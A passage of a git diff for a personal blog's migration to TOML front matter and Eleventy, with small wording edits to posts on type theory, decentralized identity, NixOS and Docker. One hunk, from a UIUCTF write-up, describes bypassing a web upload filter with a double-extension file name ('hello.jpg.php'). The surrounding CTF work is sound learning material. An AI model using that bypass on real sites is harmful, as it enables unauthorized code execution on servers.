 my server runs NixOS. Instead, all my other machines use Arch Linux with just

content/posts/2022-07-24-mastery-based-learning.md

@@ -1,8 +1,8 @@
----
-title: "Mastery-Based Learning"
-date: 2022-07-24
-tags: ["education"]
----
++++
+title = "Mastery-Based Learning"
+date = 2022-07-24
+tags = ["education"]
++++
 
 A thought I've been brewing probably since undergrad is the idea of
 mastery-based education for skill-based practices. Directly inspired by the
@@ -21,9 +21,9 @@ specific purposes:
 - **Dependency.** The linked topic needs some percentage of mastery in order
   to best experience the current topic.
 
-- **Spill.** Not really sure what a good term for this would be, but basically
-  mastery of the current topic would result in some percentage of "spilled"
-  mastery gain for the linked topic.
+- **Spill.** Not really sure what a good term for this would be, but mastery of
+  the current topic would result in some percentage of "spilled" mastery gain
+  for the linked topic.
 
 The dependency aspect allows people to work backwards, starting from what they
 don't know and being able to query what the required context is. They can build
@@ -51,8 +51,8 @@ The vision would be something like this:
 
 2. Then, the student goes off and learns some related material. After a length
    of time has passed, they are quizzed on the first topic again. By this time,
-   their mastery score should fall a bit simply on the basis of "forgetfulness
-   over time".
+   their mastery score should fall a bit on the basis of "forgetfulness over
+   time".
 
 3. At the end of the semester, if they have reached required thresholds of
    mastery in each required topic, they will pass the class.

content/posts/2022-08-01-uiuctf-2022-writeups/index.md

@@ -1,9 +1,10 @@
----
-title: "UIUCTF 2022 Writeups"
-date: 2022-08-01
-tags: ["ctf"]
-math: true
----
++++
+title = "UIUCTF 2022 Writeups"
+date = 2022-08-01
+tags = ["ctf"]
+layout = "single"
+math = true
++++
 
 Last weekend I took some time on Friday to do UIUCTF 2022. I placed 102nd with
 462 points. Here are the writeups to the challenges I solved. My full workspace
@@ -46,8 +47,8 @@ foreach ($allowed_extensions as $extension) {
 
 The flaw here is that the file extension is only checked for existence, not that
 it actually occurs at the end of the file. As a result, the web server will
-guess the kind of data in the file based on the final extension. We can simply
-upload a file named `hello.jpg.php` and it will pass this.
+guess the kind of data in the file based on the final extension. We can upload a
+file named `hello.jpg.php` and it will pass this.
 
 The Dockerfile in the handout helpfully tells us the location of the flag, so
 here is the file I uploaded:
@@ -73,7 +74,7 @@ all of the objects except the two flag halves.
 
 [blender]: https://www.blender.org
 
-![Hiding blender objects](../../../assets/ctf/blender-objects.png)
+![Hiding blender objects](blender-objects.png)
 
 This reveals two QR codes that can be combined into the flag.
 
@@ -114,8 +115,8 @@ to figure it out.
 > anyone who may want it. https://military-grade-encryption-web.chal.uiuc.tf/
 
 I'm not really sure what the clever way to solve this was, but all the numbers
-were small enough to be brute forced, so that's what I did. Simply reverse the
-process used and look for a string beginning with `uiuctf{`.
+were small enough to be brute forced, so that's what I did: reverse the process
+used and look for a string beginning with `uiuctf{`.
 
 [solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/military-grade-encryption/solve.py)
 
@@ -128,7 +129,7 @@ challenge of RSA. This time, rather than starting with a modulus and trying to
 discover the private exponent, we are given the private exponent, and trying to
 find the modulus.
 
-As a reminder, once we find $N$, we can simply evaluate $c^d \mod N$ to
+As a reminder, once we find $N$, we can evaluate $c^d \mod N$ to
 determine the final message.
 
 First, we know that the relationship between $e$ and $d$ is that $ed \equiv 1
@@ -145,8 +146,8 @@ of 8.
 [external factoring service]: https://www.alpertron.com.ar/ECM.HTM
 
 Trusty old combinatorics tells us ${16 \choose 8} = 12870$, which is easily
-iterable within a matter of seconds. After picking 8 primes, we simply run
-through the same process as `gen_prime` in order to generate our $p$ and $q$:
+iterable within a matter of seconds. After picking 8 primes, we run through the
+same process as `gen_prime` in order to generate our $p$ and $q$:
 
 ```python
 for perm in tqdm(perms):
@@ -196,8 +197,8 @@ This means that even with the absence of one of the required points, we can
 still reasonably recover the curve with the added information that all
 coefficients are less than $500,000$.
 
-I simply threw all of the constraints we are given into the z3 solver, and
-within milliseconds the answer was given. After that it was just a matter of
-hooking it up to the challenge server and waiting for the flag.
+I threw all of the constraints we are given into the z3 solver, and within
+milliseconds the answer was given. After that it was just a matter of hooking it
+up to the challenge server and waiting for the flag.
 
 [solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/wringing-rings/solve.py)

content/posts/2022-09-20-higher-inductive-types.lagda.md

@@ -1,11 +1,12 @@
----
-title: "Higher Inductive Types"
-date: 2022-09-20
-tags: ["type-theory"]
-toc: true
-math: true
-draft: true
----
++++
+title = "Higher Inductive Types"
+slug = "higher-inductive-types"
+date = 2022-09-20
+tags = ["type-theory"]
+toc = true
+math = true
+draft = true
++++
 
 **Higher inductive types (HIT)** are central to developing cubical type theory.
 What this article will try to do is develop an approach to understanding higher
@@ -13,7 +14,8 @@ inductive types based on my struggles to learn the topic.
 
 <!--more-->
 
-## Ordinary inductive types
+Ordinary inductive types
+---
 
 So first off, what is an inductive type? These are a kind of data structure
 that's commonly used in _functional programming_. For example, consider the
@@ -40,9 +42,9 @@ representation using this data structure:
 
 Why is this representation useful? Well, if you remember **proof by induction**
 from maybe high school geometry, you'll recall that we can prove things about
-all natural numbers by simply proving that it's true for the _base case_ 0, and
-then proving that it's true for any _inductive case_ $n$, given that the
-previous case $n - 1$ is true.
+all natural numbers by proving that it's true for the _base case_ 0, and then
+proving that it's true for any _inductive case_ $n$, given that the previous
+case $n - 1$ is true.
 
 This kind of definition of natural numbers makes this induction structure much
 more clear. For example, look at the definition of a tree:
@@ -54,11 +56,11 @@ data Tree (A : Set) : Set where
   right : Tree A → Tree A
 ```
 
-We can do induction on trees by simply proving it's true for (1) the base case,
-(2) the left case, and (3) the right case. In fact, all inductive data
-structures have this kind of induction principle. So say you wanted to prove
-that $1 + 2 + 3 + \cdots + n = \frac{n\cdot(n+1)}{2}$ for all $n \in
-\mathbb{N}$, then you could say:
+We can do induction on trees by proving it's true for (1) the base case, (2) the
+left case, and (3) the right case. In fact, all inductive data structures have
+this kind of induction principle. So say you wanted to prove that $1 + 2 + 3 +
+\cdots + n = \frac{n\cdot(n+1)}{2}$ for all $n \in \mathbb{N}$, then you could
+say:
 
 <details>
 <summary>(click here for boring requisites)</summary>
@@ -174,7 +176,8 @@ Using Agda, we can see that this type-checks correctly.
 
 **TODO:** Ensure totality
 
-## Higher inductive types
+Higher inductive types
+---
 
 Moving on, we want to know what _higher_ inductive types brings to the table. To
 illustrate its effect, let's consider the following scenario: suppose you have

content/posts/2022-10-27-dependent-types.md

@@ -1,12 +1,12 @@
----
-title: "Dependent Types from First Principles"
-slug: "dependent-types"
-date: 2022-10-27
-tags: ["type-theory"]
-toc: true
-math: true
-draft: true
----
++++
+title = "Dependent Types from First Principles"
+slug = "dependent-types"
+date = 2022-10-27
+tags = ["type-theory"]
+toc = true
+math = true
+draft = true
++++
 
 It's frequently said that computers are just made of 1s and 0s. As programmers,
 we induce structure into this sea of 1s and 0s to build a rich collection of
@@ -47,8 +47,8 @@ several basic kinds of data, but without distinction, it's hard to tell them
 apart. So programmers developed **types**, ways of categorizing data so when
 we're just reading a series of 0s and 1s, we would know how to interpret it.
 
-| Raw              | Interpreted as number | Interpreted as text |
-| ---------------- | --------------------- | ------------------- |
-| `68 65 6c 6c 6f` | 448,378,203,247       | `hello`             |
+|Raw|Interpreted as number|Interpreted as text|
+|---|---|---|
+|`68 65 6c 6c 6f`|448,378,203,247|`hello`|
 
 So now we know how to

content/posts/2022-10-30-decentralized-identity-middle-ground.md

@@ -0,0 +1,63 @@
++++
+title = "Decentralized Identity, a Middle Ground"
+date = 2022-10-30T03:04:51-05:00
+
+logseq = true
++++
+
+- With Twitter management changing, I'm starting to think about the small web again. The small web is a concept where you use the Internet to interact with people directly, rather than operating through the medium of megacorps. When we think about big monoliths like Twitter and Facebook, at the very heart of it is some kind of algorithm picking what it is we see. And with the power to control that gives us advertising and mass manipulation.
+- For the rest of this blog post, I'll be talking about _microblogging_ specifically: short posts of several sentences, along with a few media attachments, of which Twitter is one of the largest monolithic implementations. But the things I talk about are also applicable to other applications, including long-form blogging (Medium), image sharing (Instagram, Snapchat), video sharing (YouTube), chat (Messenger)
+- There's several projects out there that are already trying out other extremes. I'll cover two big types here:
+	- **Federation.** This style of application development is inspired by email. The idea is that you develop a common _protocol_ for apps living on different servers to talk to each other, so you can have people choose their own servers rather than trusting everything to megacorps like Google or Facebook. One notable example of this in the microblogging realm is Mastodon / ActivityPub.
+	- **Peer-to-peer.** This style of application development is rarer, but can be seen commonly in things like torrents. The idea is that _each_ client holds all application info, and interacts with everything else as if they were all clients. One notable example of this in the microblogging realm is Scuttlebutt.
+- I'll go into more detail about these two styles later, but they both come with their advantages and drawbacks. I don't think any of the solutions that exist are sustainable for longer periods of time.
+- ## Feature Evaluation
+- One thing I've been doing recently when I think about software applications and system design is break things down into their **features**. This makes it a lot easier to compare applications or services to each other than a vague statement like "I've had a good/bad experience with this". So let's come up with some features of a good microblogging platform:
+	- Application design
+		- **Verifiability:** It should be easy to verify if I did indeed ever say something.
+		- **Freedom:** Within reason, I should not be limited in what I say or do on the platform.
+		- **Universality:** I should be able to communicate to anyone from anywhere (any device, any location).
+	- System design
+		- **Availability:** I want to be confident that the system will be around for many years.
+		- **Connectability:** I should be able to connect with people I don't already know easily.
+		- **Moderation:** I should be able to choose to not interact with a certain subset of users, and this process should not be painful.
+	- Scaling
+		- **User scaling:** Supporting more users should incur a relatively linear or sublinear cost, and should certainly not lead to resource consumption blowup.
+		- **Temporal scaling:** The system should support being run for an arbitrarily long amount of time.
+	- Development
+		- **Malleability:** How easy is it to introduce / roll out new versions and features? This may be important for updating cryptographic algorithms.
+		- **Version drift:** Is it possible to support users who are on different version of the service?
+- Some features are certainly more important than others, and may have different importance to different people. But it gives me a base line to evaluate services, and lets me decide which features I consider to be critical.
+- These are not the only features, but I like to list them in this form because while some
+  alternative apps may tout certain features, it's useless if it falls short on something more important.
+- ### Evaluation
+- Now that we know what we're looking for, let's evaluate some existing services.
+- **Mastodon**
+	- Satisfies:
+		- **Connectability:** It's easy to find other users based on their user ID, which looks like an email so it's easy to share.
+	- Doesn't satisfy:
+		- **Freedom:** While certain instances may be specialized (i.e hobby-focused), it's certainly not great when you are locked out of communicating with someone on another instance because the admins of your respective instances have beef with each other.
+		- **Availability:** For some reason or another, I've seen Mastodon admins give up on their instances. Running an instance is very costly in terms of money and time, so it's not surprising that if an instance owner decides it's no longer worth it, the users are pretty much hosed. While there are some options for migration like redirection, it's useless if the original server doesn't stay online.
+- **Scuttlebutt**
+	- Satisfies:
+		- **Freedom:** This is the maximally free solution: your client is solely responsible for receiving and filtering all messages.
+	- Doesn't satisfy:
+		- **Connectability:** Connecting with someone must take place over an existing channel (i.e either meeting in meatspace or sharing a pub). If I don't have my Scuttlebutt client with me, then it's not possible to get updates.
+		- **Universality:** Since user identity is heavily tied to a single client, having multiple clients for a single user is not a well-supported workflow.
+- The Matrix people have also developed [Cerulean], a playground for testing the idea of _relative reputation_, where instead of doing moderation of all users you can assign a web-of-trust-style reputation to people you follow. On the other hand, this may lead to further filter-bubbling, the implications of which I'm honestly not sure how to tackle.
+
+  [Cerulean]: https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button
+- ## Decentralized Identity
+- My view for an ideal microblogging platform would be a federated server-client architecture, but where a user identity isn't tied to the server the same way a user is tied to their Mastodon instance. Essentially, you want your account to be promiscuous between several servers.
+- This way, you gain all of the benefits of having a server-client architecture (easy to do multiple clients), while not relying on the server itself or its admins to stay around for a long time.
+- The problem is, designing such a system securely is difficult. Ultimately, what I'm proposing is:
+	- A user identity model based on an asymmetric-key model. Users generate their own key locally and provide it to instances.
+	- Users should then have _client_ keys, which are independent of the user keys. These are signed by the user key to indicate that they belong to the same user.
+	- When a user wants to switch servers, they can begin requesting a checkout of their data from the server. The data can be signed by the server as well to provide an indicator that the client isn't trying to forge old history.
+		- One problem is if a server wants to deny a user from switching servers; they may try to keep the data hostage. One solution is to scrape all publicly obtainable data, the other is to hope that this is socially discouraged by having users avoid servers that engage in user-hostile actions.
+	- Users may also opt to replicate their identity entirely between two servers. This means that this synchronization process is just happening incrementally or periodically rather than just at switch-time.
+- This still has a number of open problems:
+	- **Key revocation.** Anything involving cryptographic keys requires a revocation protocol in the event that the keys are compromised. I'm not too sure of a good way of doing this that doesn't involve an infinitely growing append-only list of revocations on all of the people who have
+- When I have some free time, I may take a crack at a proof-of-concept implementation of a system like this.
+- ### Further applications
+- Since this scheme only really targets the identity layer with (theoretically) asymptotically constant change required for other parts of the software, this should be able to be extended to things other than just microblogging. I'm not sure about the level of success this may have for things like sharing large data files such as video (maybe mix in something like IPFS?), but there is certainly room for exploration.

content/posts/2022-10-30-rust-impure-path.md

@@ -1,9 +1,10 @@
----
-title: "Rust's Impure Path"
-date: 2022-10-30T12:47:41-05:00
-languages: ["rust"]
-tags: ["rust"]
----
++++
+title = "Rust's Impure Path"
+date = 2022-10-30T12:47:41-05:00
+
+languages = ["rust"]
+tags = ["rust"]
++++
 
 I work on [garbage], a project that touches the filesystem a lot. Because of
 this, I'd really like to control when and where these filesystem accesses

content/posts/2023-03-26-inductive-types.md

@@ -1,18 +1,17 @@
----
-title: "Inductive Types"
-date: 2023-03-26
-tags: ["type-theory"]
-math: true
-draft: true
-toc: true
-language_switcher_languages: ["ocaml", "python"]
----
++++
+title = "Inductive Types"
+date = 2023-03-26
+tags = ["type-theory"]
+math = true
+draft = true
+toc = true
+
+language_switcher_languages = ["ocaml", "python"]
++++
 
 There's a feature common to many functional languages, the ability to have
 algebraic data types. It might look something like this:
 
-{{< language-switcher >}}
-
 ```ocaml
 type bool =
 | True
@@ -27,15 +26,6 @@ that has two _constructors_, or ways to create this type. The constructors are
 2. Any time I use the value `False`, it's understood to have type `bool`.
 3. In addition, there are _no_ other ways to create values of `bool` other than combining `True` and `False` constructors.
 
----
-
-```python
-from typing import Literal
-MyBool = Literal[True] | Literal[False]
-```
-
-{{</ language-switcher >}}
-
 > **Note:** I'm using an experimental language switcher. It's implemented in
 > pure CSS using a feature called the [`:has` pseudo-class][has]. As of writing,
 > all major browsers _except_ Firefox has it implemented and enabled by default.
@@ -59,23 +49,12 @@ unknown value of type `Boolean`, you know it can only take one of two values.
 There's actually nothing special about boolean itself. I could just as easily
 define a new type, like this:
 
-{{< language-switcher >}}
-
 ```ocaml
 type WeirdType =
 | Foo
 | Bar
 ```
 
----
-
-```python
-from typing import Literal
-WeirdType = Literal['foo'] | Literal['bar']
-```
-
-{{</ language-switcher >}}
-
 Because this type can only have two values, it's _semantically_ equivalent to
 the `Boolean` type. I could use it anywhere I would typically use `Boolean`.
 
@@ -94,22 +73,11 @@ You can make any _finite_ type like this: just create an algebraic data type
 with unit constructors, and the result is a type with a finite cardinality. If I
 wanted to make a unit type for example:
 
-{{< language-switcher >}}
-
 ```ocaml
 type unit =
 | Unit
 ```
 
----
-
-```python
-from typing import Literal
-Unit = Literal[None]
-```
-
-{{</ language-switcher >}}
-
 There's only one way to ever construct something of this type, so the
 cardinality of this type would be 1.
 
@@ -123,8 +91,6 @@ called structural matching in some languages).
 Let's see an example. Suppose I have a type with three values, defined like
 this:
 
-{{< language-switcher >}}
-
 ```ocaml
 type direction =
 | Left
@@ -132,21 +98,10 @@ type direction =
 | Right
 ```
 
----
-
-```python
-from typing import Literal
-Direction = Literal['left'] | Literal['middle'] | Literal['right']
-```
-
-{{</ language-switcher >}}
-
 If I was given a value with a type of direction, but I wanted to do different
 things depending on exactly which direction it was, I could use _pattern
 matching_ like this:
 
-{{< language-switcher >}}
-
 ```ocaml
 let do_something_with (d : direction) =
   match d with
@@ -155,25 +110,6 @@ let do_something_with (d : direction) =
   | Right -> do_this_if_right
 ```
 
----
-
-```python
-def do_something_with(d : Direction) -> str:
-  match inp:
-    case 'left': return do_this_if_left
-    case 'middle': return do_this_if_middle
-    case 'right': return do_this_if_right
-    case _: assert_never(inp)
-```
-
-**Note:** the `assert_never` is a static check for exhaustiveness. If we missed
-a single one of the cases, a static type checker like [pyright] could catch it
-and tell us which of the remaining cases there are.
-
-[pyright]: https://github.com/microsoft/pyright
-
-{{</ language-switcher >}}
-
 This gives me a way to discriminate between the different variants of
 `direction`.
 
@@ -203,16 +139,12 @@ contain themselves as a type).
 
 You can see an example of this here:
 
-{{< language-switcher >}}
-
 ```ocaml
 type nat =
 | Suc of nat
 | Zero
 ```
 
-{{</ language-switcher >}}
-
 These are the natural numbers, which are defined inductively. Each number is
 just represented by a data type that wraps 0 that number of times. So 3 would be
 `Suc (Suc (Suc Zero))`.
@@ -235,19 +167,18 @@ let rec is_even = fun (n : nat) ->
 <details>
   <summary>Try it for yourself</summary>
 
-If you've got an OCaml interpreter handy, try a couple values for yourself and
-convince yourself that this accurately represents the naturals and an even
-testing function:
+  If you've got an OCaml interpreter handy, try a couple values for yourself and
+  convince yourself that this accurately represents the naturals and an even
+  testing function:
 
-```ocaml
-utop # is_even Zero;;
-- : bool = true
-utop # is_even (Suc Zero);;
-- : bool = false
-```
-
-This is a good way of making sure the functions you write make sense!
+  ```ocaml
+  utop # is_even Zero;;
+  - : bool = true
+  utop # is_even (Suc Zero);;
+  - : bool = false
+  ```
 
+  This is a good way of making sure the functions you write make sense!
 </details>
 
 ## Induction principle
@@ -256,11 +187,11 @@ Let's express this in the language of mathematical induction. If I have any
 natural number:
 
 - If the natural number is the base case of zero, then the `is_even` relation
-  automatically evaluates to true.
+    automatically evaluates to true.
 - If the natural number is a successor, invert the induction hypothesis (which is
-  what `is_even` evaluates to for the previous step, a.k.a whether or not the
-  previous natural number is even), since every even number is succeeded by
-  an odd number and vice versa.
+    what `is_even` evaluates to for the previous step, a.k.a whether or not the
+    previous natural number is even), since every even number is succeeded by
+    an odd number and vice versa.
 
 Once these rules are followed, by induction we know that `is_even` can run on
 any natural number ever. In code, this looks like:
@@ -303,6 +234,8 @@ like this:
 let convert_nat = nat_transformer 0 (fun x -> x + 1)
 ```
 
+
+
 TODO: Talk about https://counterexamples.org/currys-paradox.html
 
 [has]: https://developer.mozilla.org/en-US/docs/Web/CSS/:has

content/posts/2023-03-29-shell-in-docker-compose-container-without-shell.md

@@ -1,10 +1,10 @@
----
-title: "Getting a shell in a Docker Compose container without any shells"
-date: 2023-03-29
-tags: ["docker", "linux"]
----
++++
+title = "Getting a shell in a Docker Compose container without any shells"
+date = 2023-03-29
+tags = ["docker", "linux"]
++++
 
-First (published) blog post of the year! :raised_hands:
+First (published) blog post of the year! :raising_hands:
 
 Here is a rather dumb way of entering a Docker Compose container that didn't
 have a shell. In this specific case, I was trying to enter a Woodpecker CI
@@ -12,7 +12,6 @@ container without exiting it. Some Docker containers are incredibly stripped
 down to optimize away bloat (which is good!) but this may make debugging them
 relatively annoying.
 
-> [!admonition: NOTE]
 > These are my specific steps for running it, please replace the paths and
 > container names with the ones relevant to your specific use-case.
 

content/posts/2023-04-20-developing-without-flake.md

@@ -1,8 +1,8 @@
----
-title: "Developing on projects without flake.nix on NixOS"
-date: 2023-04-20
-tags: ["linux", "nixos"]
----
++++
+title = "Developing on projects without flake.nix on NixOS"
+date = 2023-04-20
+tags = ["linux", "nixos"]
++++
 
 Ever since I became a NixOS hobbyist a few years ago, it's easy to plug NixOS
 wherever I go. The way flakes create a reproducible development environment
@@ -50,8 +50,8 @@ kind of existing configuration, I have _no_ dependencies, and if I want to even
 build it, I would have to write a flake myself. That's fine and all, but
 typically the `flake.nix` file lives in the root directory of the project, and
 it's good practice in the Nix world to commit the flake file along with its
-corresponding lock file. However, the upstream project may not appreciate it if
-I shove new config files in their root directory.
+corresponding lock file. The upstream project may not appreciate me shoving new
+config files in their root directory.
 
 ```
   project
@@ -61,7 +61,6 @@ I shove new config files in their root directory.
      flake.nix ✗
 ```
 
-> [!admonition: NOTE]
 > The `✗` indicates that I added the file to the project, and it hasn't been
 > committed to the repo yet.
 
@@ -131,10 +130,9 @@ project structure should look a bit more like this:
      flake.nix
 ```
 
-> [!admonition: NOTE]
-> Remember, since you moved the `.envrc` file, you will need to run `direnv allow`
-> again. Depending on how you moved it, you might also need to change the path you
-> wrote in the `use flake` command.
+> Remember, since you moved the `.envrc` file, you will need to run `direnv
+> allow` again. Depending on how you moved it, you might also need to change the
+> path you wrote in the `use flake` command.
 
 With this setup, the `project` directory can contain a clean clone of upstream
 and your flake files will create the appropriate environment.

content/posts/2023-04-20-programmable-proofs.md

@@ -1,10 +1,10 @@
----
-title: "Programmable Proofs"
-date: 2023-04-20
-tags: ["type-theory"]
-math: true
-draft: true
----
++++
+title = "Programmable Proofs"
+date = 2023-04-20
+tags = ["type-theory"]
+math = true
+draft = true
++++
 
 Today I'm going to convince you that data types in programming are the same as
 [_propositions_][proposition] in the logical sense. Using this, we can build an
@@ -37,15 +37,13 @@ Simple enough. `Cake` is a type now. What does being a type mean?
 - We can use it in function definitions, like this:
 
   ```ts
-  function giveMeCake(cake: Cake) {
-    /* ... */
-  }
+  function giveMeCake(cake: Cake) { ... }
   ```
 
 - We can put it in other types, like this:
 
   ```ts
-  type Party = { cake: Cake; balloons: Balloon[] /* ... */ };
+  type Party = { cake: Cake, balloons: Balloon[], ... };
   ```
 
   This creates a `Party` object that contains a `Cake`, some `Balloon`s, and
@@ -82,7 +80,7 @@ function getUsername(id: number): string {
   if (!isIdValid(id)) throw new Error("Invalid ID");
 
   // Ok, now we are sure that id is valid.
-  // ...
+  ...
 }
 ```
 
@@ -94,7 +92,7 @@ around numbers and doing the check every time.
 function getUsername(id: UserId): string {
   // We can just skip the first part entirely now!
   // Because of the type of the input, we are sure that id is valid.
-  // ...
+  ...
 }
 ```
 
@@ -166,7 +164,7 @@ object, it's going to be valid.
 function getUsername(id: UserId): string {
   // We can just skip the first part entirely now!
   // Because of the type of the input, we are sure that id is valid.
-  // ...
+  ...
 }
 ```
 
@@ -199,10 +197,8 @@ But what about our use cases?
   this:
 
   ```ts
-  function giveMeCake(cake: NoCake) {
-    /* ... */
-  }
-  type Party = { cake: NoCake; balloons: Balloon[] /* ... */ };
+  function giveMeCake(cake: NoCake) { ... }
+  type Party = { cake: NoCake, balloons: Balloon[], ... };
   ```
 
   Interestingly, this actually still typechecks! Why is that?
@@ -310,9 +306,9 @@ parties of logical thought that are involved here. Let's meet them:
   sort. Another notable difference is that intuitionistic does not consider the
   Law of Excluded Middle to be true.
 
-However, intuitionistic logic is preferred in a lot of mechanized theorem
-provers, because it's easier computationally to talk about "having a witness".
-Let's actually look more closely at what it means to have a "witness".
+Between the two, intuitionistic logic is preferred in a lot of mechanized
+theorem provers, because it's easier computationally to talk about "having a
+witness". Let's actually look more closely at what it means to have a "witness".
 
 If you didn't read the section earlier about using private constructors to
 restrict type construction, I'm going to revisit the idea a bit here. Consider
@@ -320,16 +316,11 @@ this very restrictive hash map:
 
 ```ts
 namespace HashMap {
-  class Ticket {
-    /* ... */
-  } // Private to namespace
+  class Ticket { ... } // Private to namespace
 
   export class HashMap {
-    // ...
-
-    public insert(k: string, v: number): Ticket {
-      /* ... */
-    }
+    ...
+    public insert(k: string, v: number): Ticket { ... }
 
     public getWithoutTicket(k: string): number | null {
       if (!this.hasKey(k)) return null;
@@ -344,8 +335,8 @@ namespace HashMap {
 ```
 
 The idea behind this is kind of like having a witness. Whenever you insert
-something into the map, you get back a ticket that basically proves that it was
-the one that inserted it for you in the first place.
+something into the map, you get back a ticket that proves that it was the one
+that inserted it for you in the first place.
 
 Since we used a namespace to hide access to the `Ticket` class, the only way you
 could have constructed a ticket is by inserting into the map. The ticket then
@@ -377,8 +368,8 @@ function returnUnit(): null {
 ```
 
 There's nothing else that fits in this type. (I realize `void` and `undefined`
-also exist and are basically single-valued types, but they have other weird
-behavior that makes me not want to lump them in here)
+also exist and are single-valued types, but they have other weird behavior that
+makes me not want to lump them in here)
 
 Let's just also jump into two-valued types, which in math we just call
 $\mathbf{2}$. This type has a more common analog in programming, it's the
@@ -403,12 +394,8 @@ class First {
   static instance: First = new First();
   private constructor() {}
 }
-class Second {
-  /* ... */
-} // same thing
-class Third {
-  /* ... */
-} // same thing
+class Second { ... } // same thing
+class Third { ... }  // same thing
 ```
 
 The reason I slapped on a private constructor and included a singleton

content/posts/2023-04-21-proving-true-from-false.lagda.md

@@ -1,5 +1,5 @@
 ---
-title: "Formally proving true ≢ false in Homotopy Type Theory with Agda"
+title: "Proving true ≢ false"
 slug: "proving-true-from-false"
 date: 2023-04-21
 tags: ["type-theory", "agda"]
@@ -12,9 +12,20 @@ math: true
 These are some imports that are required for code on this page to work properly.
 
 ```agda
-open import Prelude
-```
+{-# OPTIONS --cubical #-}
 
+open import Cubical.Foundations.Prelude
+open import Data.Bool
+open import Data.Unit
+open import Data.Empty
+
+¬_ : Set → Set
+¬ A = A → ⊥
+
+infix 4 _≢_
+_≢_ : ∀ {A : Set} → A → A → Set
+x ≢ y  =  ¬ (x ≡ y)
+```
 </details>
 
 The other day, I was trying to prove `true ≢ false` in Agda. I would write the
@@ -28,6 +39,7 @@ For many "obvious" statements, it suffices to just write `refl` since the two
 sides are trivially true via rewriting. For example:
 
 ```
+open import Data.Nat
 1+2≡3 : 1 + 2 ≡ 3
 1+2≡3 = refl
 ```
@@ -48,7 +60,7 @@ left side so it becomes judgmentally equal to the right:
 - suc (suc (suc zero))
 - 3
 
-However, in Agda, naively using `refl` with the inverse statement doesn't work.
+In cubical Agda, naively using `refl` with the inverse statement doesn't work.
 I've commented it out so the code on this page can continue to compile.
 
 ```
@@ -58,7 +70,7 @@ I've commented it out so the code on this page can continue to compile.
 It looks like it's not obvious to the interpreter that this statement is
 actually true. Why is that
 
-## Intuition
+---
 
 Well, in constructive logic / constructive type theory, proving something is
 false is actually a bit different. You see, the definition of the `not`
@@ -82,7 +94,7 @@ The strategy here is we define some kind of "type-map". Every time we see
 `false`, we'll map it to empty.
 
 ```
-bool-map : Bool → Set
+bool-map : Bool → Type
 bool-map true = ⊤
 bool-map false = ⊥
 ```
@@ -92,69 +104,43 @@ over a path (the path supposedly given to us as the witness that true ≢ false)
 will produce a function from the inhabited type we chose to the empty type!
 
 ```
-true≢false p = transport bool-map p tt
+true≢false p = transport (λ i → bool-map (p i)) tt
 ```
 
 I used `true` here, but I could equally have just used anything else:
 
 ```
-bool-map2 : Bool → Set
+bool-map2 : Bool → Type
 bool-map2 true = 1 ≡ 1
 bool-map2 false = ⊥
 
 true≢false2 : true ≢ false
-true≢false2 p = transport bool-map2 p refl
+true≢false2 p = transport (λ i → bool-map2 (p i)) refl
 ```
 
-## Note on proving divergence on equivalent values
-
-> [!admonition: NOTE]
-> Update: some of these have been commented out since regular Agda doesn't support higher inductive types
+---
 
 Let's make sure this isn't broken by trying to apply this to something that's
-actually true, like this higher inductive type:
+actually true:
 
-```text
-data NotBool : Type where
-  true1 : NotBool
-  true2 : NotBool
-  same : true1 ≡ true2
+```
+2-map : ℕ → Type
+2-map 2 = ⊤
+2-map 2 = ⊥
+2-map else = ⊤
+
+-- 2≢2 : 2 ≢ 2
+-- 2≢2 p = transport (λ i → 2-map (p i)) tt
 ```
 
-In this data type, we have a path over `true1` and `true2` that is a part of the
-definition of the `NotBool` type. Since this is an intrinsic equality, we can't
-map `true1` and `true2` to divergent types. Let's see what happens:
+I commented the lines out because they don't compile, but if you tried to
+compile it, it would fail with:
 
 ```text
-notbool-map : NotBool → Type
-notbool-map true1 = ⊤
-notbool-map true2 = ⊥
+⊤ !=< ⊥
+when checking that the expression transport (λ i → 2-map (p i)) tt
+has type ⊥
 ```
 
-Ok, we've defined the same thing that we did before, but Agda gives us this
-message:
-
-```text
-Errors:
-Incomplete pattern matching for notbool-map. Missing cases:
-  notbool-map (same i)
-when checking the definition of notbool-map
-```
-
-Agda helpfully notes that we still have another case in the inductive type to
-pattern match on. Let's just go ahead and give it some value:
-
-```text
-notbool-map (same i) = ⊤
-```
-
-If you give it `⊤`, it will complain that `⊥ != ⊤ of type Type`, but if you give
-it `⊥`, it will also complain! Because pattern matching on higher inductive
-types requires a functor over the path, we must provide a function that
-satisfies the equality `notbool-map true1 ≡ notbool-map true2`, which unless we
-have provided the same type to both, will not be possible.
-
-So in the end, this type `NotBool → Type` is only possible to write if the two
-types we mapped `true1` and `true2` can be proven equivalent. But this also
-means we can't use it to prove `true1 ≢ true2`, which is exactly the property we
-wanted to begin with.
+That's because with identical terms, you can't simultaneously assign them to
+different values, or else it would not be a proper function.

content/posts/posts.json

@@ -0,0 +1,3 @@
+{
+  "layout": "post"
+}

content/projects/_index.md

@@ -0,0 +1,11 @@
++++
+title = "Projects"
+type = "projects"
+layout = "single"
++++
+
+# Projects
+
+This is a curated list of projects I do outside of work for fun. Find the full list on my [Gitea profile][1].
+
+[1]: https://git.mzhang.io/michael

eleventy.config.js

@@ -0,0 +1,26 @@
+const util = require("util");
+
+const inclusiveLangPlugin = require("@11ty/eleventy-plugin-inclusive-language");
+const directoryOutputPlugin = require("@11ty/eleventy-plugin-directory-output");
+const eleventySass = require("eleventy-sass");
+
+module.exports = (config) => {
+  config.setQuietMode(true);
+  config.addPlugin(directoryOutputPlugin);
+  config.addPlugin(eleventySass);
+  config.addPlugin(inclusiveLangPlugin, {
+    words:
+      "simply,obviously,basically,of course,clearly,everyone knows,however",
+  });
+
+  config.addFilter("debug", (content) => `<pre>${util.inspect(content)}</pre>`);
+
+  return {
+    dir: {
+      input: "content",
+      includes: "../includes",
+      layouts: "../layouts",
+      output: "_site",
+    },
+  };
+};

flake.lock

@@ -1,54 +1,15 @@
 {
   "nodes": {
-    "agda": {
-      "inputs": {
-        "flake-parts": "flake-parts",
-        "nixpkgs": [
-          "nixpkgs"
-        ]
-      },
-      "locked": {
-        "lastModified": 1729253305,
-        "narHash": "sha256-S7/C8VGMrXeGhFeYXx1cVBjZlNVB5L1o/SkW0hFm0Jc=",
-        "owner": "agda",
-        "repo": "agda",
